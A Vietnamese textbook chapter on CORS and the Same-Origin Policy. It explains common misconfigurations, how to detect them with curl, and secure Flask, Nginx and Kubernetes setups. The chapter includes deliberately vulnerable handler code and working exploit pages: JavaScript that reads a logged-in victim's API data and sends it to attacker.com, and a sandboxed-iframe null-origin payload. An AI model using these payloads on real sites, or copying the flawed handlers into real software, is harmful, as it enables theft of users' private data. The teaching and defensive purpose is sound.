Chương 9: CORS — Cross-Origin Resource Sharing
Khái niệm
CORS (Cross-Origin Resource Sharing — Chia sẻ tài nguyên qua các origin) là cơ chế browser cho phép hoặc từ chối web pages truy cập tài nguyên từ domain khác.
Mức độ nguy hiểmal: Trung bình-Cao — CORS misconfiguration cho phép trang web độc hại đọc dữ liệu nhạy cảm từ API của bạn.
Trước khi hiểu CORS, cần hiểu Same-Origin Policy (Chính sách cùng nguồn gốc).
Same-Origin Policy (SOP)
SOP là security mechanism của browser: một trang web chỉ có thể đọc response từ cùng một origin.
Origin = scheme + hostname + port:
https://example.com:443 ← origin
https://example.com/api ← SAME origin (scheme, host, port giống)
https://example.com:8080/api ← DIFFERENT origin (port khác)
http://example.com/api ← DIFFERENT origin (scheme khác)
https://api.example.com/api ← DIFFERENT origin (subdomain khác)
https://other.com/api ← DIFFERENT origin (domain khác)
SOP cho phép:
- Gửi cross-origin requests (GET/POST) — browser gửi nhưng JS không đọc được response
- Load images, scripts, stylesheets từ cross-origin
- Redirect cross-origin
SOP chặn:
- JavaScript đọc response từ cross-origin fetch/XHR
- Access cookies, localStorage của origin khác
CORS cho phép bypass SOP có kiểm soát
Server có thể cho phép specific origins truy cập bằng CORS headers:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://trusted-app.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization
Preflight Request (OPTIONS):
Với "non-simple" requests (PUT, DELETE, custom headers), browser gửi OPTIONS request trước:
OPTIONS /api/data HTTP/1.1
Origin: https://trusted-app.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type, Authorization
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://trusted-app.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 3600
CORS Misconfigurations
1. Reflect Any Origin
# SAI: Reflect Origin header vô điều kiện
@app.after_request
def add_cors(response):
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin # ← NGUY HIỂM!
response.headers['Access-Control-Allow-Credentials'] = 'true'
return response
Khai thác:
<!-- Trang của hacker: attacker.com -->
<script>
fetch('https://api.victim.com/api/sensitive-data', {
credentials: 'include' // Gửi kèm cookies của victim
})
.then(r => r.json())
.then(data => {
// Hacker đọc được data của victim!
fetch('https://attacker.com/steal?data=' + JSON.stringify(data));
});
</script>
2. Whitelist Validation Lỗi
# SAI: regex/string match không chặt chẽ
def is_allowed_origin(origin):
# Intended: chỉ allow example.com và subdomains
return 'example.com' in origin
# Bypass:
# attacker-example.com → chứa "example.com" → pass!
# example.com.attacker.com → chứa "example.com" → pass!
# ĐÚNG: exact match hoặc regex chặt chẽ
import re
ALLOWED_ORIGINS = {
"https://example.com",
"https://app.example.com",
"https://staging.example.com"
}
def is_allowed_origin(origin):
return origin in ALLOWED_ORIGINS
# Hoặc nếu cần regex:
ALLOWED_PATTERN = re.compile(r'^https://([a-z]+\.)?example\.com$')
def is_allowed_origin(origin):
return bool(ALLOWED_PATTERN.match(origin))
3. Null Origin Whitelist
# SAI: Allow null origin (thường dùng cho local dev)
if origin == 'null':
response.headers['Access-Control-Allow-Origin'] = 'null'
Tạo null origin:
<!-- Null origin được tạo bởi: sandboxed iframe, file://, data: URI -->
<iframe sandbox="allow-scripts" srcdoc="
<script>
fetch('https://api.victim.com/sensitive', {credentials: 'include'})
.then(r => r.json())
.then(data => parent.postMessage(data, '*'));
</script>
">
</iframe>
Sandboxed iframe gửi requests với Origin: null. Nếu server accept null → hacker bypass.
4. Wildcard + Credentials (Impossible Combination)
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Browser từ chối combination này — không cho phép gửi credentials với wildcard.
Tuy nhiên một số app cố bypass bằng cách reflect Origin khi request có credentials → tương đương wildcard nhưng bypass browser check.
5. Trusted Subdomain bị XSS
Access-Control-Allow-Origin: https://subdomain.example.com
Nếu subdomain.example.com bị XSS:
1. Hacker inject script vào subdomain.example.com
2. Script chạy với origin: subdomain.example.com
3. Fetch https://api.example.com/data → CORS pass (trusted origin)
4. Đọc sensitive data → gửi cho hacker
Kịch bản tấn công: API Data Theft
Target: api.bank.com - endpoint GET /api/balance trả về số dư tài khoản
CORS config: Reflect any origin với credentials
Hacker host trang tại: attacker.com/steal.html
<!-- attacker.com/steal.html -->
<!DOCTYPE html>
<html>
<body>
<script>
// Victim phải đã login bank.com trong cùng browser
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.bank.com/api/balance', true);
xhr.withCredentials = true; // Gửi kèm bank.com cookies
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
// Gửi balance về cho hacker
fetch('https://attacker.com/collect?data=' +
encodeURIComponent(xhr.responseText));
}
};
xhr.send();
</script>
</body>
</html>
Attack flow:
1. Victim đã login bank.com
2. Hacker gửi link: attacker.com/steal.html (qua email, chat)
3. Victim click → page load → fetch đến api.bank.com
4. CORS: Origin: attacker.com → server reflect → response có ACAO: attacker.com
5. Browser cho JS đọc response → balance bị lộ
6. Gửi về attacker.com
Cách phát hiện
# Test CORS manually
curl -H "Origin: https://attacker.com" \
-H "Cookie: session=victim_token" \
https://api.example.com/sensitive \
-I
# Check response:
# Có Access-Control-Allow-Origin: https://attacker.com không?
# Có Access-Control-Allow-Credentials: true không?
# Test null origin
curl -H "Origin: null" https://api.example.com/sensitive -I
# Test subdomain bypass
curl -H "Origin: https://attacker-example.com" https://api.example.com/sensitive -I
Checklist:
□ Server reflect bất kỳ Origin nào?
□ Null origin được accept?
□ ACAO: * kết hợp với Allow-Credentials: true?
□ Whitelist validation có bypass được bằng prefix/suffix?
□ Trusted subdomains có bị XSS không?
□ HTTP origin được accept dù server là HTTPS?
□ Có endpoints nhạy cảm không cần auth nhưng return sensitive data?
Phòng chống
# Flask CORS implementation an toàn
ALLOWED_ORIGINS = frozenset([
"https://app.example.com",
"https://admin.example.com",
])
@app.after_request
def cors_handler(response):
origin = request.headers.get('Origin')
if origin and origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
response.headers['Access-Control-Allow-Methods'] = 'GET, POST, PUT, DELETE'
response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
response.headers['Vary'] = 'Origin' # Quan trọng: cho cache biết response thay đổi theo Origin
return response
@app.route('/api/preflight', methods=['OPTIONS'])
def preflight():
response = make_response()
cors_handler(response)
response.headers['Access-Control-Max-Age'] = '3600'
return response, 204
Nginx CORS:
# Nginx CORS cho phép specific origins
map $http_origin $cors_origin {
default "";
"https://app.example.com" "https://app.example.com";
"https://admin.example.com" "https://admin.example.com";
}
server {
location /api/ {
if ($cors_origin) {
add_header 'Access-Control-Allow-Origin' $cors_origin always;
add_header 'Access-Control-Allow-Credentials' 'true' always;
add_header 'Vary' 'Origin' always;
}
if ($request_method = 'OPTIONS') {
add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE' always;
add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization' always;
add_header 'Access-Control-Max-Age' 3600;
return 204;
}
}
}
Góc nhìn DevOps
Kubernetes Ingress CORS:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
annotations:
nginx.ingress.kubernetes.io/enable-cors: "true"
nginx.ingress.kubernetes.io/cors-allow-origin: "https://app.example.com"
nginx.ingress.kubernetes.io/cors-allow-credentials: "true"
nginx.ingress.kubernetes.io/cors-allow-methods: "GET, POST, PUT, DELETE"
nginx.ingress.kubernetes.io/cors-allow-headers: "Content-Type, Authorization"
# KHÔNG dùng: cors-allow-origin: "*" với credentials
Environment-specific CORS config:
# Khác nhau giữa environments
ALLOWED_ORIGINS = {
'production': [
'https://app.example.com',
'https://admin.example.com'
],
'staging': [
'https://staging.example.com',
'https://staging-admin.example.com'
],
'development': [
'http://localhost:3000',
'http://localhost:3001'
]
}
# Load từ environment variable
env = os.environ.get('APP_ENV', 'development')
allowed = ALLOWED_ORIGINS.get(env, [])
Tóm tắt
- SOP ngăn JavaScript đọc cross-origin responses — CORS là cơ chế để selectively allow.
- Reflect bất kỳ Origin nào kèm credentials = hoàn toàn bypass SOP.
- Whitelist validation phải exact match — substring match bị bypass.
- Null origin phải bị block trong production.
- Dùng
Vary: Originheader để cache hoạt động đúng. - Trusted subdomain bị XSS → CORS bị exploit.
- Không bao giờ dùng
Access-Control-Allow-Origin: *vớiAllow-Credentials: true.
Câu hỏi ôn tập
- Same-Origin Policy là gì và nó bảo vệ chống lại điều gì?
- Tại sao kết hợp
Access-Control-Allow-Origin: *vàAllow-Credentials: truekhông hợp lệ? - Null origin được tạo ra trong tình huống nào? Tại sao nguy hiểm?
- Nếu
api.example.comcó CORS whitelist làexample.com(substring match), hacker bypass thế nào? - Tại sao cần thêm
Vary: Originheader trong CORS response?